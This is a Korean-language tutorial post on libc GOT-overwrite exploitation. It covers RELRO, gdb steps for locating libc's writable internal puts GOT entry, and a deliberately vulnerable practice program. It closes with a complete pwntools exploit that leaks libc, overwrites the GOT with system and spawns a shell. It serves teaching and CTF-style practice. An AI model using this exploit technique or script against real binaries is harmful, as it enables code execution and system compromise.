Libc Got Overwrite 개념
libc에서 사용하는 GOT Table을 공격하여 Exploit을 진행하는 방법이지만, libc 2.39 이후 version 에서는 작동하지 않는다.
GNU C Library (Ubuntu GLIBC 2.39-0ubuntu8.4) stable release version 2.39.
Copyright (C) 2024 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 13.3.0.
libc ABIs: UNIQUE IFUNC ABSOLUTE
Minimum supported kernel: 3.2.0
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
[*] '/usr/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
SHSTK: Enabled
IBT: Enabled
Bash
복사
libc 2.39 version에서는 libc 자체에 RELRO가 Full RELRO로 적용되어 있어 exploit에 활용하기 어렵다.
해당 글에서는 분석을 진행하기 위해서 2.35 libc version 사용했다.
Libc Got Overwrite Background
Got Overwrite 공격을 이해하기 위해서는 RELRO라는 메모리 보호기법을 이해하고 있어야 한다.
RELRO
RELRO는 RELocation Read-Only의 줄임말이며, Linux System에서 ELF Binary에 적용되는 보안 기법 중 하나로, 프로그램의 실행 중에 동적으로 변경될 수 있는 영역을 읽기 전용으로 만드는 메모리 보호 기법중 하나다.
RELRO의 종류는 3가지가 존재한다. 간단하게 설명하고 넘어가겠다.
1.
No RELRO
Read Only 속성으로 변경되지 않은 상태
2.
Partial RELRO
→ 함수가 한번 호출되면 동적으로 libc 함수의 주소를 받아 온 뒤 got table에 write, 즉 read only로 변경하지 않음
got overwrite 가능
3.
Full RELRO
→ 실행하는 시점에 GOT Table에 libc 함수의 주소를 써준 뒤 Read Only로 영역 변경
libc leak 가능
Libc Got Overwrite
libc 내부에서 사용하는 함수는 많이 존재하지만, 일단 대표적으로 사용되는 puts 함수를 위주로 설명한다.
기본적으로 의심가는 함수에 gdb를 통해서 break point 걸어주고 해당 함수를 si로 보면 call ~~@plt 호출한다. 해당 함수가 내부에서 사용하는 internal function이라고 보면 된다.
puts Function
아래의 간단한 코드로 puts_got를 컴파일한 뒤
//gcc -o puts_got puts_got.c
#include <stdio.h>
int main(){
puts("Hello World!");
return 1;
}
C
복사
아래의 명령어를 통해서 gdb로 디버깅해보면
gdb ./puts_got
disas main
Bash
복사
main+18에 puts@plt가 호출되는 걸 확인할 수 있다.
b *main+18
r
Bash
복사
si를 통해서 내부로 진입한다.
계속 si를 입력해서 실행하다보면 아래와 같이 call 0x7ffff7c28490 *ABS*+0xa86a0@plt 로 plt를 호출하는 것을 볼 수 있다.
아래의 명령어를 이용해서 call하는 instruction을 확인해보면 아래와 같다
x/2i 0x7ffff7c28490
Bash
복사
0x7ffff7e1a098 *ABS*@got.plt로 jmp 하는걸 확인할 수 있다.
해당 영역의 권한을 보기 위해서 아래의 명령어를 입력한다.
vmmap 0x7ffff7e1a098
Bash
복사
rw 즉 read, write가 가능하다는 것을 확인할 수 있다.
해당 영역에 one-gadget 혹은 system 함수를 덮는다면 해당 함수가 실행될 것이다. 추가적으로 해당 영역은 gdb로 디버깅해서 offset을 구할 수 있으며, libc가 leak 되었다면 offset을 더해서 got table에 접근할 수 있다.
puts Got Overwrite Exploit
exploit 연습을 진행하기 위해서 예제 코드를 하나 만들어 보면
//gcc -o libc_got libc_got.c
#include <stdio.h>
int main(){
long long pointer;
printf("stdin address : %p\n", stdin);
scanf("%ld", &pointer);
read(0, pointer, 0x8);
puts("/bin/sh");
return 1;
}
C
복사
간단한 Out-Of-Bounds 문제이며 사용자가 입력한 메모리 주소에 접근하여 8 Byte를 작성할 수 있는 취약점이 존재한다.
exploit의 편의를 위해서 stdin의 주소를 출력해주며 해당 주소를 이용하여 libc_base를 구할 수 있다.
•
Libc Base
s = p.send
sf = p.sendafter
sl = p.sendline
slf = p.sendlineafter
r = p.recv
ru = p.recvuntil
rl = p.recvline
# !Libc Leak
ru(": ")
stdin = int(rl().strip(),base=16)
libc.base = stdin - libc.symbols['_IO_2_1_stdin_']
log("stdin", stdin)
log("libc_base", libc.base)
Python
복사
디버깅을 통해서 puts_internal got의 offset을 구해준다.
gef➤ disas main
Dump of assembler code for function main:
0x00000000000011c9 <+0>: endbr64
0x00000000000011cd <+4>: push rbp
0x00000000000011ce <+5>: mov rbp,rsp
0x00000000000011d1 <+8>: sub rsp,0x10
0x00000000000011d5 <+12>: mov rax,QWORD PTR fs:0x28
0x00000000000011de <+21>: mov QWORD PTR [rbp-0x8],rax
0x00000000000011e2 <+25>: xor eax,eax
0x00000000000011e4 <+27>: mov rax,QWORD PTR [rip+0x2e25] # 0x4010 <stdin@GLIBC_2.2.5>
0x00000000000011eb <+34>: mov rsi,rax
0x00000000000011ee <+37>: lea rax,[rip+0xe0f] # 0x2004
0x00000000000011f5 <+44>: mov rdi,rax
0x00000000000011f8 <+47>: mov eax,0x0
0x00000000000011fd <+52>: call 0x10b0 <printf@plt>
0x0000000000001202 <+57>: lea rax,[rbp-0x10]
0x0000000000001206 <+61>: mov rsi,rax
0x0000000000001209 <+64>: lea rax,[rip+0xe08] # 0x2018
0x0000000000001210 <+71>: mov rdi,rax
0x0000000000001213 <+74>: mov eax,0x0
0x0000000000001218 <+79>: call 0x10d0 <__isoc99_scanf@plt>
0x000000000000121d <+84>: mov rax,QWORD PTR [rbp-0x10]
0x0000000000001221 <+88>: mov edx,0x8
0x0000000000001226 <+93>: mov rsi,rax
0x0000000000001229 <+96>: mov edi,0x0
0x000000000000122e <+101>: mov eax,0x0
0x0000000000001233 <+106>: call 0x10c0 <read@plt>
0x0000000000001238 <+111>: lea rax,[rip+0xddd] # 0x201c
0x000000000000123f <+118>: mov rdi,rax
0x0000000000001242 <+121>: call 0x1090 <puts@plt>
0x0000000000001247 <+126>: mov eax,0x1
0x000000000000124c <+131>: mov rdx,QWORD PTR [rbp-0x8]
0x0000000000001250 <+135>: sub rdx,QWORD PTR fs:0x28
0x0000000000001259 <+144>: je 0x1260 <main+151>
0x000000000000125b <+146>: call 0x10a0 <__stack_chk_fail@plt>
0x0000000000001260 <+151>: leave
0x0000000000001261 <+152>: ret
End of assembler dump.
gef➤ b *main+121
Breakpoint 1 at 0x1242
gef➤ r
Bash
복사
위에 함수들 중에서 read와 scanf에서 메모리가 터지지 않도록 memory에 write 하는 값을 신중하게 골라서 넣어준다. 나의 경우는 그냥 stdin 값을 그대로 넣어줬다.
puts 함수를 아까와 동일하게 디버깅을 진행하면 아래와 같이 plt를 호출하는 것을 찾을 수 있다.
해당 got.plt의 주소를 저장하고 vmmap을 통해서 libc_base로 부터 얼마나 떨어져있는지 계산한다.
set $got_plt = 0x7ffff7e1a098
vmmap libc.so
Bash
복사
아래의 명령어를 사용해서 계산한 결과 offset은 0x21a098가 나왔다.
gef➤ p/x $got_plt-0x00007ffff7c00000
$2 = 0x21a098
Bash
복사
Exploit에 필요한 정보는 다 확인했으니 코드를 작성하면 아래와 같다.
Payload
#!/usr/bin/env python3
'''
author: JangJongMin
time: 2025-03-24 23:49:21
'''
from pwn import *
filename = "libc_got_patched"
libcname = "/home/ubuntu/.config/cpwn/pkgs/2.35-0ubuntu3.8/amd64/libc6_2.35-0ubuntu3.8_amd64/lib/x86_64-linux-gnu/libc.so.6"
host = "127.0.0.1".strip()
port = 1337
elf = context.binary = ELF(filename)
context.terminal = ['tmux', 'neww']
if libcname:
libc = ELF(libcname)
gs = f'''
set debug-file-directory /home/ubuntu/.config/cpwn/pkgs/2.35-0ubuntu3.8/amd64/libc6-dbg_2.35-0ubuntu3.8_amd64/usr/lib/debug
set directories /home/ubuntu/.config/cpwn/pkgs/2.35-0ubuntu3.8/amd64/glibc-source_2.35-0ubuntu3.8_all/usr/src/glibc/glibc-2.35
set $pie_base=$_base("{filename}")
c
'''
def start():
if args.GDB:
return gdb.debug(elf.path, gdbscript = gs)
elif args.REMOTE:
return remote(host, port)
else:
return process(elf.path)
def log(str_, hex_):
success(f"{str_} : {hex(hex_)}")
p = start()
s = p.send
sf = p.sendafter
sl = p.sendline
slf = p.sendlineafter
r = p.recv
ru = p.recvuntil
rl = p.recvline
# !Libc Leak
ru(": ")
stdin = int(rl().strip(),base=16)
libc.base = stdin - libc.symbols['_IO_2_1_stdin_']
puts_internal_got = libc.base + 0x21a098
system = libc.base + libc.symbols['system']
log("stdin", stdin)
log("libc_base", libc.base)
log("puts_internal_got", puts_internal_got)
log("system", system)
# !Got Overwrite
sl(str(puts_internal_got))
s(p64(system))
p.interactive()
Python
복사
